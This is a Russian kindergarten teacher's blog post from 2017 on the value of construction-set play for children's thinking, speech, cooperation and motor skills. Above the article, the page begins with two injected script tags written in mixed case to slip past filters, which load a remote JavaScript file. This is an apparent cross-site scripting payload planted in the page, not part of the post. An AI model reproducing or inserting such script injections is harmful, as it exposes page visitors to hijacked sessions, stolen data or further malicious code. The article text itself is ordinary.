<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

04.10.2017

 Играем с конструктором.

            

Одно из любимых детских занятий в нашей группе – конструирование, т.е. создание из отдельных

элементов чего-то целого: домов, машин, мостов… Эта игра не только увлекательна, но и весьма полезна. Когда дети  строят, они ориентируются на некоторый образ, поэтому конструирование развивает образное мышление и воображение. Детское конструирование тесно связано с игрой и является деятельностью, отвечающей потребностям и интересам детей. Конструируя, ребенок учится не только различать внешние качества предмета, но и форму, величину, строение; у него развиваются познавательные и практические действия. В конструировании ребенок, помимо зрительного восприятия качества предмета, практически разбирает образец на детали. А затем собирает их в модель.В процессе обучения детей сооружению разных конструкций однородных построек или

игрушек (жилой дом, школа, детский сад, домик) создаются условия для творческих умений в конструировании. Ребенок усваивает как бы схему изготовления постройки или игрушки, передавая в них и общие и различные признаки, и осуществляет это в определенной последовательности. Такой характер деятельности является осно­вой,

позволяющей детям искать способ самостоятельного изготов­ления нового варианта предмета, что часто требуется в игре.

Впроцессе обучения конструированию у детей вырабатываются и обобщенные способы действий, умение

целенаправленно обследо­вать предметы или образцы построек, . Все это делает процесс конструирования организованным, продуманным.

          Во время  игр с конструктором  дети усваивают правильные геометрические названия деталей

строительного набора (куб, брусок, пластина и т.д.),  узнают об особенностях геометрических тел: у

куба все стороны квадратные, у бруска квадратные две торцовые, а остальные прямоугольные, у прямоугольника противо­положные стороны равны и т. д.После  занятиймы обязательно закрепляем с детьми

полученные знания и умения в процессе игр, в индивидуальной работе во второй

половине дня. Мы предлагаем детям строительный материал, вовлекая их в игру(

-Ребята, давайте построим большой, красивый корабль и отправимся на нём в

путешествие)Конструирование способствует совершенствованию речи детей, так как в процессе работы

дети делятся своими замыслами, учатся мотивировать их, общаясь друг с другом.В

процессе конструирования дети учатся правильно обозначать в слове названия

направ­лений (вверх, вниз, далеко, сзади, слева, справа и т.п.), овладе­вают и

такими понятиями, как «высокий - низкий», «широкий - узкий», «длинный -

короткий».Конструирование в играх является средством не только умственного воспитания, но и формирования

моральных качеств личности ребенка. Конструирование  в игре имеет большое значение для организации

дружного детского коллектива. Дети учатся совместно выполнять общую работу вместе  строят машины, например «Наша улица», вместе строят мост, корабли и др.). В этом случае деятельность детей направлена на достижение общей цели. Для этого требуется умение договариваться о предстоящей работе, распределять обя­занности, в нужный момент оказать помощь товарищам, мотиви­ровать свои предложения.

В играх эти умения углубляются и закрепляются. Таким обра­зом, при определенной обучения конструированию и руководства конструктивными играми

совместная их дея­тельность предоставляет большие возможности для воспитания первоначальных навыков работы в коллективе. В процессе конструирования осуществляется физическое

совер­шенствование ребенка. Постоянные упражнения в самых разнообраз­ных движениях, сопровождающиеся эмоциональным подъемом, спо­собствуют тому, что эти движения становятся быстрыми, ловкими, легко подчиняющимися контролю глаза. Улучшается согласованная работа отдельных мышц.Во всех видах

конструирования дети относятся к материалу бережно, развивают художественный вкус, память, воображение, мышление, глазомер, мелкую моторику рук, воспитывают самостоятельность, наблюдательность, силу воли, в конце анализируют, начатое дело доводят до конца. 

Самое главное и ценное — это то, что конструктор, как и любая игра, сближает с ребенком. Мы общаемся и заняты общим делом, что и объединяет.